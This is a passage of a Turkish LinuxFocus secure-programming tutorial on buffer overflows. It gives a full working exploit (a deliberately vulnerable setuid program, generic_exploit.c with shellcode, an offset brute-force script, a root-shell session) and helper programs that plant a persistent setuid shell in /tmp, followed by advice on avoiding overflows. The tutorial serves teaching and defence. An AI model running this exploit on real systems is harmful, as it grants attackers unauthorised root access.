<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//TR">
<HTML>
<HEAD>
 <META http-equiv="Content-Type" content="text/html; charset=iso-8859-9">
 <META NAME="GENERATOR" CONTENT="lfparser_2.17">
 <META NAME="LFCATEGORY" CONTENT="Software Development">
<!-- this is used be a number of tools:
 =LF=AUTHOR:  Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier
 =LF=CAT___: Software Development
 =LF=TITLE_:  Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows 
 =LF=NUMBER: 190
 =LF=ANAME_: article190.shtml
 -->
 <TITLE>lf190, Software Development:  Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows </TITLE>
<!-- stylesheet added by lfparser: --> 
<style type="text/css">
<!--
 td.top {font-family: Arial,Geneva,Verdana,Helvetica,sans-serif; font-size:12 }
 pre { font-familiy:monospace,Courier }
 p.cl { color:#EE9500 }
 a.nodec { text-decoration:none }
 p.trans { font-size:8pt; text-align:right }
 p.clbox { width:50%; alignment:center; background-color:#FFD700; border-style:none; border-width:medium; border-color:#FFD700; padding:0.5cm ;  text-align:center }
 p.foot { background-color:#AAAAAA; color:#FFFFFF; border-style:none; border-width:medium; border-color:#AAAAAA; padding:0.5cm ; margin-top:0.1cm; margin-right:1cm; margin-left:1cm; text-align:center }
-->
</style>
 
</HEAD>
<BODY bgcolor="#ffffff" text="#000000">
 <!-- this is generated html code. NEVER use this file for your
 translation work. Instead get the file with the same article number
 and .meta.shtml in its name. Translate this meta file and then
 use lfparser program to generate the final article -->
 <!-- lfparser can be obtained from http://www.linuxfocus.org/~guido/dev/lfparser.html -->

<!-- 2pdaIgnoreStart -->

<!-- start navegation bar -->
 <!-- top navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%">
   <TR bgcolor="#2e2292">
     <TD class="top"><TABLE cellspacing="0" cellpadding="0" border="0" width=
       "100%">
         <TR><TD width="144"><IMG src="../../common/images/logolftop.gif"
           alt="[LinuxFocus-icon]" width="350" height="45" align="left" 
           border="0"></TD>

           <TD class="top">
             <TABLE width="100%">
               <TR align="right">
                 <TD class="top"><A class="nodec" href="../index.shtml"><FONT color=
                 "#DDDDDD">Ev</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../map.html"><FONT color=
                 "#DDDDDD">Erişimdüzeni</FONT></A> &nbsp;|&nbsp; <A class=
                 "nodec" href="../indice.html"><FONT color=
                 "#DDDDDD">İçindekiler</FONT></A> &nbsp;|&nbsp; <A class="nodec" href="../Search/index.shtml"><FONT color=
                 "#DDDDDD">Arama</FONT></A> </TD>
               </TR>

               <TR align="right">
                 <TD class="top">
                   <HR width="100%" noshade size="1">
                 </TD>
               </TR>
             </TABLE>
           </TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end top navegation bar -->
 <!-- blue bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="90%">
   <TR bgcolor="#00ffff">
     <TD><IMG src="../../common/images/transpix.gif" width="1" height=
     "2" alt=""></TD>
   </TR>
 </TABLE>
 <!-- end blue bar -->
 <!-- bottom navegation bar -->
 <TABLE cellspacing="0" cellpadding="0" border="0" align="center"
 width="94%">
   <TR bgcolor="#000000">
     <TD>
       <TABLE cellspacing="0" cellpadding="1" border="0" width=
       "100%">
         <TR align="center">
           <TD><A class="nodec" href="../News/index.html"><FONT color=
           "#FFFFFF">Duyumlar</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Archives/index.html"><FONT color=
           "#FFFFFF">Belgelikler</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../Links/index.html"><FONT color=
           "#FFFFFF">Bağlantılar</FONT></A> </TD>
           <TD><FONT color="#FFFFFF">|</FONT> </TD>
           <TD><A class="nodec" href="../aboutus.html"><FONT color=
           "#FFFFFF">LF Nedir</FONT></A> </TD>
         </TR>
       </TABLE>
     </TD>
   </TR>
 </TABLE>
 <!-- end bottom navegation bar -->
<!-- stop navegation bar -->

<!-- SSI_INFO -->

<!-- tr_staticssi include virtual -->
<!-- tr_staticssi exec cmd -->
<!-- addedByLfdynahead ver 1.1 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">Bu makalenin farklı dillerde bulunduğu adresler: <A href="../../English/May2001/article190.shtml">English</a> &nbsp;<A href="../../Castellano/May2001/article190.shtml">Castellano</a> &nbsp;<A href="../../Deutsch/May2001/article190.shtml">Deutsch</a> &nbsp;<A href="../../Francais/May2001/article190.shtml">Francais</a> &nbsp;<A href="../../Nederlands/May2001/article190.shtml">Nederlands</a> &nbsp;<A href="../../Portugues/May2001/article190.shtml">Portugues</a> &nbsp;<A href="../../Russian/May2001/article190.shtml">Russian</a> &nbsp;<A href="../../Turkce/May2001/article190.shtml">Turkce</a> &nbsp;</FONT></TD></TR></TABLE><br>
 

<!-- 2pdaIgnoreStop -->

<!-- SHORT BIO ABOUT THE AUTHOR -->
<TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" >
<TR>
<TD>

<!-- 2pdaIgnoreStart -->
<!-- PALM DOC -->
<TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD>
<font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font>
</TD> </TR> </TABLE>
<!-- END PALM DOC -->
<!-- 2pdaIgnoreStop -->
<br>
<IMG src="../../common/images/FredCrisBCrisG.jpg" alt=
"[image of the authors]" width="200" height="150">
<BR>tarafından  <A href= "mailto:pappy&#64;users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"> Fr&eacute;d&eacute;ric Raynal, Christophe Blaess, Christophe Grenier</A>
<BR><BR>
<I>Yazar hakkında:</I><BR>
<P>Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux
meraklısı ve birçok işini bu sistem yardımıyla yapıyor.<I>Linux
Dökümantasyon Projesi </I> tarafından yayınlanan kişisel sayfaların
çevirisinin organizasyonunu yapıyor.</P><P>Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada
sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir
tutkusu var.</P><P>Fr&eacute;d&eacute;ric Raynal birçok senedir Linux kullanıyorlar çünkü
o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece
ter ve oyunlar.</P>
<BR><i>İçerik</i>:
<UL>
  <LI><A HREF="#190lfindex0">Bellekteki Taşmalar</A></LI>
  <LI><A HREF="#190lfindex1">Hafızadaki Yer</A></LI>
  <LI><A HREF="#190lfindex2">Programı başlatmak</A></LI>
  <LI><A HREF="#190lfindex3">Index 'leri Taramak </A></LI>
  <LI><A HREF="#190lfindex4">n Fonksiyonlarının Kullanımı</A></LI>
  <LI><A HREF="#190lfindex5">Veriyi İki Adımda Oluşturmak</A></LI>
  <LI><A HREF="#190lfindex6">Dİnamik Bellek Alanı Kullanımı</A></LI>
  <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=en">Bu yazı için görüş bildiriminde bulunabilirsiniz</A></LI>
</UL>

</TD></TR></TABLE>
<!-- HEAD OF THE ARTICLE -->
<br>&nbsp;
<H2> Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows </H2>
 <IMG src="../../common/images/illustration183.gif" width="100" height=
"100" alt="[article illustration]" hspace="10">
<h3>Çeviri : Nur Mumcuoğlu</h3>
<!-- ABSTRACT OF THE ARTICLE -->
<P><i>Özet</i>:
<P>

Bu yazı "buffer overflows" giriş yazılarının sonuncusu. Güvelik açıkları ve sırasında bunların  nasıl oluştuğu
anlatılıyor.

</P>
<HR size="2" noshade align="right"><BR>
<!-- BODY OF THE ARTICLE -->


<A NAME="190lfindex0">&nbsp;</A>
<H3>Bellekteki Taşmalar</H3>


<P>
Bir önceki makalemizde,kabuk çalıştırabilen ve herhangi bir hata anında sistemden çıkış
yapabilen 50 byte lık küçük bir program yazdık.Şimdi bu kodu programı çalıştırmak istediğimiz
yere yerleştireceğiz.Bu kodda,fonksiyonun geri dönüş adresi ile  işlem sırasında otomatik
değişken taşmasına sebep olan bizim kabuk adresimiz yerdeğiştirildi.

<P>
Örneğin,aşağıdaki programda ilk arguman olarak verilen  açıklama satırındaki katarı,
500 byte lık belleğe kopyaladık.Bu kopya, yerleştirilen bellek alanı kontrol edilmeden yapıldı.
Daha sonra da göreceğimiz gibi <CODE>strncpy()</CODE> fonksiyonu bu problemden kurtulmamızı
sağlayacak.

<PRE>
  /* vulnerable.c&nbsp;*/

  #include &lt;string.h&gt;

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }
</PRE>

<P>
<code>buffer</code> otomatik bir değişkendir,boşluk 500&nbsp satırı ile oluşturulmuştur;
<CODE>main()</CODE> fonksiyonunu girer girmez bellekteki yer korunacaktır.
<CODE>vulnerable</CODE> programını 500 karakterden fazla olmayan karakterlerle
çalıştırdığımızda,bellekte veri taşması olacak ve işlemde bir mücadele yaşanacaktır.
Önceden de gördüğümüz gibi, bu taşma, (aka <em>return address</em>)' i çalıştıracak bir
sonraki bilginin adresini tutacaktır.
Bu güvenlik çukurunu önlemek için çalıştırmak istediğimiz kabuk kodu adresi ile fonksiyon
adresini yerdeğiştirmek yeterli olacaktır.Bu kabuk kodu hafızada kendisinden sonra adresi
gelecek şekilde ana belleğe yerleştirilir.

<A NAME="190lfindex1">&nbsp;</A>
<H2>Hafızadaki Yer</H2>


<P>
Kabuk kodunun hafızadaki adresini elde etmek oldukça zordur.Kabuk kodu adresi ile taşmayı
tutan <code>%esp</code> kaydı arasındaki geçişi araştırmak gerekir.Biraz güvenliği sağlamak için
bellekteki alanın başlangıcı, <CODE>NOP</CODE> bilgi topluluğu ile doldurulmalıdır; bu,bir
byte'lık, hiçbir yerde bir etkisi olmayan  tarafsız bilgidir.Böylece,kabuk kodunun
doğru başlangıcından önce başlangıç adresi işaret edilecektir.Daha fazla şansa sahip olmak için
kabuk kodunu sonuna kadar tekrar eden ve <CODE>NOP</CODE> bloğu ile oluşturulan başlangıç adresi
izleyecek şekilde, belleğin ortasına yerleştiririz. <a href="#buffer">şekil 1</a>,belleğin
yaratılımını gösterecektir.
<p>


<center>
<table WIDTH="90%" NOSAVE>
  <caption ALIGN=BOTTOM>
  <a NAME="buffer" href="#buffer">Şekil. 1</a> : taşmanın bulunduğu bellek alanı
  </caption>
  <td>
    <tr><IMG SRC="../../common/images/article190/art_03_01.gif" ALT="[buffer]"></tr>
  </td>
</table>
</center>

<P>
Bununla birlikte,başka değişken atama ile ilgili başka bir problem daha vardır.
Çeşitli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir.
Bu,doğru atamayı bulana kadar deneme yaparak çözülebilir.4 byte lık işlemciler kullanılmaya
başlandığından beri,atamalar 0,1,2 veya 3 byte lık olabilmektedirler. ( <a
href="../March2001/article183.shtml"> makale 183</a> e bakın.).
<a href="#aligne">şekil 2</a>, de gri bölümler 4 byte'lık kısımları göstermektedir.
İlk durumda,geridönüş adresi tekrar yazıldığında sadece biri çalışacaktır.
Diğerleri, <code>segmentation violation</code> veya <code>illegal instruction</code> hatalarını
verecektir.Bu deneysel yol,bu çeşit bir testi uygulamamıza olanak veren bugünün
bilgisayarlarının çıktığı zamandan beri en iyiyi bulan yoldur.
<p>
<center>
<table WIDTH="90%" NOSAVE>
  <caption ALIGN=BOTTOM>
  <a NAME="aligne" href="#aligne">Şekil. 2</a> : possible alignment with
  4 bytes words
  </caption>
  <td>
    <tr><IMG SRC="../../common/images/article190/align.png" ALT="[align]"></tr>
  </td>
</table>
</center>


<A NAME="190lfindex2">&nbsp;</A>
<H2>Programı başlatmak</H2>


<P>
Şimdi,hafızada taşmanın olduğu yere göndermekle zarar görebilen bir program yazacağız.
Bu program,kabuk kodunu hafızaya yerleştiren ve çalışacak programı seçen çeşitli seçeneklere
sahiptir.Bu versiyonu ,Aleph One'ın EM>phrack</EM> 49 sayılı makalesinden esinlenilerek
Christophe Grenier 'ın görselyöresinden alınmıştır.

<P>
Uygulama alanına hazır bellek alanımızı nasıl göndereceğiz?
Genellikle,<CODE>vulnerable.c</CODE> veya çevre değişkendeki gibi komut satırı parametresi
kullanabilirsiniz.
Taşma,kullanıcı tarafından yazılan,çalışması zor, veya dosyadan okuması zor, satırlar ile
oluşacaktır.
<P>
<CODE>generic_exploit.c</CODE> programı,doğru boyuttaki bellek alanını ayırmak ile başlar,
sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda açıklanan NOP kodları ile
doldurur.
Daha sonra arguman dizisi hazırlar ve <code>execve()</code> bilgisini kullanarak etiket
uygulamasını çalıştırır,daha önce çağrılmış ile yerdeğiştirme işlemi son yerdeğiştirmedir.
<code>generic_exploit</code> parametleri önlem için (adresi geri çağırmak için biraz daha fazla
 bellek alanı) oluşturulan bellek alanları,hafıza geçişi ve atamadır.Şunu belirtmeliyiz ki
bellek alanı hem çevre değişkenden(<code>var</code>) hem de açıklama satırından
(<code>novar</code>) geçmektedir.
<code>force/noforce</code> argumanı,kabuk kodundan <code>setuid()/setgid()</code> fonksiyonuna
çağrılıma izin verir(veya vermez).

<PRE>
/* generic_exploit.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/stat.h&gt;
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE		1
#define A_OFFSET	2
#define A_ALIGN		3
#define A_VAR		4
#define A_FORCE		5
#define A_PROG2RUN	6
#define A_TARGET	7
#define A_ARG		8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc &lt; A_ARG)
   {
    printf("USAGE: %s bsize offset align (var / novar)
            (force/noforce) prog2run target param\n",argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i &lt; bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i &lt; bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;			/* movb $0x17,%al 	*/
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;			/* movb $0x2e,%al 	*/
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i &lt; strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i &lt; argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}
</PRE>

<P>
<CODE>vulnerable.c</CODE> dan fayda sağlamak için,uygulama tarafından belirlenmiş
bellek alanından daha fazlasını elde etmeliyiz.Örneğin 500 byte yerine 600 byte'ı tercih
etmeliyiz.Taşmanın olduğu yeri saptamak için başarılı testler yapılır.<code>addr = get_sp() +
offset;</code> bilgisi ile yapılanan adres,adres geri çağrımının tekrar yazılmasını sağlar,
tabi bunun için biraz şansa gereksinimi vardır...!


Bu işlem <code>%esp</code> kaydının varolan işlem sırasında fazla hareket etmeyeceğini ve
program sonuna birinin çağrılacağını destekler.
Pratik olarak,hiçbirşey kesin değildir: çeşitli olaylar hesaplamanın yapıldığı zamandan
bellekte taşmanın olduğu zamana değiştirilebilir.
Burada,-1900 byte lık eksiltme ile taşmayı engellemeyi başardık.Elbette ,bu deneyimi
tamamlamak için,  <CODE>vulnerable</CODE> etiketi Set-UID <EM>root</EM> olmalıdır.

<PRE>
  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
</PRE>
İlk olarak,(<code>noforce</code>) bizim <code>uid</code> değişmez.Bunun yanında
bize olnaklar sağlayan yeni <code>euid</code> e sahibiz.
Böylece, <code>/etc/passwd</code> dosyasını <code>vi</code> editörü ile yazarken,
dosya sadece okunabilir olsa bile tüm değişiklikler çalışacaktır: <code>w!</code> yazarak
bunu henüz sağlayabilirsiniz:)
<code>force</code> parametresi sistemin başlamasından <code>uid=euid=0</code> a izin
verecektir.
<P>
Küçük bir kabuk programı kullanmak,taşmaya sebep olan geçiş değerlerini otomatik olarak
bulmayı kolaylaştırır.

<PRE>
 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
</PRE>

Bu başarı,potansiyel atama problemlerinin çözümüne bizi götürmez.Daha sonra,sizin için
aynı değerler ile bu örneği çalıştırmak veya sadece atamadan dolayı çalışmaması
mümkün olur.(Bütün bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0)
değiştirilmelidir. Bazı sistemler hafıza alanına yazmayı kabul etmez,fakat bu Linux'da
geçerli değildir.)

<H1>Kabuk Problemleri</H1>
<p>
Maalesef,bazen oluşturulmuş kabuk kendi içinde sonlanana kadar  veya açkı tuşa basana kadar
kullanılamaz.Bunun anlamı bazı kolaylıklara zor ulaşılabildiğidir.

<pre>
/* set_run_shell.c */
#include &lt;unistd.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}
</pre>
<p>

Bu işin üstesinden gelebildiğimiz zamandan  beri, <code>run_shell</code> programı,
<code>set_run_shell</code> programının yardımı ile kolaylıkları elde edebiliriz.
Daha sonra bir kabuğa gereksinimimiz olacaktır.


<pre>
/* run_shell.c */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/stat.h&gt;

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
</pre>
<code>-i</code> seçeneği <code>interactive</code>'e uyumludur.Peki neden
kolaylıkları direk kabuğa aktarmayalım? Çünkü <code>s</code> bit'i her kabuk
için elverişli değildir.Son sürümleri, "uid" in "euid" ile eşit olduğunu
göstermektedir. "gid" ile "egid" için de aynı şey sözkonusudur.
Böylece,<code>bash2</code> ve <code>tcsh</code> koruma satırını kapsamaktadırlar.
 fakat ne <code>bash</code> ne de <code>ash</code> bu satırı kapsamamaktadırlar.
Bu yöntem,<code>run_shell</code>'nin bulunduğu (burada, <code>/tmp</code>) ve
<code>nosuid</code> veya <code>noexec</code>'e ilişiklendiği yerde
bölümleme olduğu zaman tasfiye edilmelidir.

<H1>Önleme</H1>

<P>
Bir taşmanın olduğu Set-UID programına kaynak kodu ile birlikte sahip olduğumuzdan beri,
dosya sahibinin ID si altında keyfi kod çalıştırılmasına karşı bir tepki hazırlayabildik.
Bununla birlikte, ilk golümüz güvenlik çukurlarını önlemekti.Sonra hafızadaki taşmaları
önlemek için birtakım kuralları inceledik.

<A NAME="190lfindex3">&nbsp;</A>
<H2>Index 'leri Taramak </H2>


<P>
İlk kural,iyi bir izlenim uyandırıyor: indexler dikkatli bir şekilde taranması gereken dizileri
işlemek için kullanılıyor."clumsy" döngüsü :

<PRE>
  for (i = 0; i &lt;= n; i ++) {
  	table [i] = ...
</PRE>

bir ihtimalle hata içeriyor.Hatanın sebebi <CODE>&lt;</CODE> nın yerine
<CODE>&lt;=</CODE> işaretinin kullanılmasıdır.Böyle bir döngüyü taramak kolay olsaydı,
sıfırın altına inmeden indexleri azaltmak bu döngü ile çok zor olacaktı.
<CODE>for(i=0; i&lt;n ; i++)</CODE> sıfır durumdan ayrı olarak,algoritmanın kullanıldığı
farklı zamanları özellikle döngünün başladığı yerleri kontrol etmek zorundayız.
(Hatta birine sizin için bu denetimi yapabilir mi diye sorun)


<P>
Aynı çeşit problem karakter dizileri(katarlar) da bulundu : son null karakter için bir byte
daha eklemeyi düşünmek zorundasınız.Bunu unutamak ,en sık karşılaşılan hatalardan biridir ve
değişken atamalarından dolayı gizli kaldığı için hatayı bulmak da zordur.

<P>
Dizi indexleri eksik hesaplanmamalıdır.Gördük ki bir byte lık taşma güvenlik çukuru
yaratmaya yeterlidir (<EM>Phrack</EM>  konu 55'e bakın), çevre değişkene kabuk kodu
yerleştirmek, örneğin,

<PRE>
  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i&lt;BUFFER_SIZE; i++)
      buffer[i] = ...
  }
</PRE>


<A NAME="190lfindex4">&nbsp;</A>
<H2>n Fonksiyonlarının Kullanımı</H2>

Anlaşmaya göre standart C kütüphanesi fonksiyonları null byte'ından dolayı katarların
sonundan haberdardırlar.Örneğin, <CODE>strcpy(3)</CODE> fonksiyonu,hedef katarı
null byte'ı içeren orjinal katara kopayalar.Bazı durumlarda , bu davranış tehlike yaratır;
aşağıdaki kodun güvenlik çukuru oluşturduğunu gördük:

<PRE>
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }
</PRE>

Bu tip bir problemden kaçınmak için sınırlı uzunluğa sahip fonksiyonlar vardır.
Bu fonksiyonların,adlarının ortalarında `<CODE>n</CODE>' yazar.Örneğin,
<CODE>strcpy(3)</CODE> yerine <CODE>strncpy(3)</CODE> fonksiyonu,
<CODE>strcat(3)</CODE> yerine <CODE>strncat(3)</CODE> fonksiyonu,
hatta <CODE>strlen(3)</CODE> yerine <CODE>strlen(3)</CODE> fonksiyonu.

<P>
Bununla birlikte, <CODE>strncpy(3)</CODE> sınırlaması ile dikkatli olmalısınız.Farklı etkiler
yaratabilir: kaynak katarı hedeflenenden az olunca, <EM>n</EM> sınırına kadar null karakterler
ile tamamlanacaktır.Bu da yeterli performansı sağlamaz.Bunun yanında,eğer fazla olursa,null
karakter ile sonlanmayacaktır,si<in eklemeniz gerekecektir.Bunu hesaba vurursak,bir önceki
yönteö şu şekilde olacaktır:

<PRE>
  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }
</PRE>

Tabii ki, aynı prensipler, <CODE>wcscpy(3)</CODE> yerine <CODE>wcsncpy(3)</CODE> ı tercih etmek
veya <CODE>wcscat(3)</CODE> yerine <CODE>wcsncat(3)</CODE>'ı tercih ederek büyük karakterleri
kullanma yöntemine uygulanabilir.Böyelce program daha da büyüyecek fakat
güvenlik  olacaktır.

<p>
<code>strcpy()</code> gibi <code>strcat(3)</code> da hafıza boyutunu kontrol etmez.
<code>strncat(3)</code> fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir
karakter ekler.<code>strcat(buffer1, buffer2);</code> ı
<code>strncat(buffer1, buffer2, sizeof(buffer1)-1);</code> ile yerdeğiştirmek,riski
azaltmak için yeterlidir.
<p>
<code>sprintf()</code> fonksiyonu formatlanmış veriyi diziye kopyalamaya izin verir.
Bu fonksiyon,karakter numaralarını hedef katara( "\0" karakterini saymadan) gönderir.
Gönderdiği değerleri test etmek,katara,değerlerin doğru eklenip eklenmediğini bilmemizi
sağlar:

<pre>
  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }
</pre>
<p>
Açıkçası,kopyalamak için byte sayısını kontrol edince bunun pek önemi kalmaz.
Böyle bir BIND(Berkeley Internet Name Daemon)'daki böyle bir boşluk sisteme zarar veren
insanları meşgul edecektir:

<pre>
  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

</pre>
Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yanında,eğer
<code>hp->h_length</code>'i değiştirebilecekseniz,alanı belirleyebileceksinizdir.
Fakat kopayalamadan önce veri uzunluğunu kontrol etmek zorunludur:

<pre>
  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...
</pre>
Bazı durumlarda bu yolun(isim,URL,kaynak yolu) geri kalanını atmak,ve programda,veri
yazılır yazılmaz erken yapılmalıdırlar.

<A NAME="190lfindex5">&nbsp;</A>
<H2>Veriyi İki Adımda Oluşturmak</H2>

Programda diğer kullanıcıya göre özellikli olarak çalışmak için kendini koruma davranışı,gelen
tüm şüpheli verileri incelemekte etkilidir.

<p>
Herşeyden önce,bu,karakter dizisinin yazma yöntemleri ile ilgilidir.Yani,
<CODE>gets(char *chaine)</CODE>'unu karakter katarının uzunluğu
kontrol edilmeden <EM>asla</EM> kullanmamalısınız(Yazar notu: bu yöntem,ilişiklendirilen
editör tarafından yasaklanmalıdır).
Daha tehlikeli riskler <CODE>scanf()</CODE>'de gizlenmiştir.
<pre>
scanf ("%s", string)
</pre>
satırı,örneğin <CODE>gets(char *chaine)</CODE> kadar tehlikeli fakat çok açık değildir.
Bununla birlikte ,<CODE>scanf()</CODE> ailesinden fonksiyonlar veri boyutunun kontrolünü
tercih ederler:
<pre>
  char buffer[256];
  scanf("%255s", buffer);
</pre>
Bu yöntemde, <code>buffer</code> 'a kopyalanan karakter sayısı, 255 ile sınırlıdır.
Diğer bir tarafdan,<CODE>scanf()</CODE> in karakterleri yerleştirmesi geldiği yere
geri göndermesi anlamına gelmemektedir,(örneğin,bir şekil için bekleyen bir karakter),
program hatalarının yarattığı kitleme riskleri oldukça büyüktür.
<p>
C++ ı kullanarak <code>cin</code> akışı C de kullanılan (hatta hala kulanılıyor)
klasik fonksiyonlar ile yerdeğiştirir.Aşağıdaki program hafızayı doldurur:
<pre>
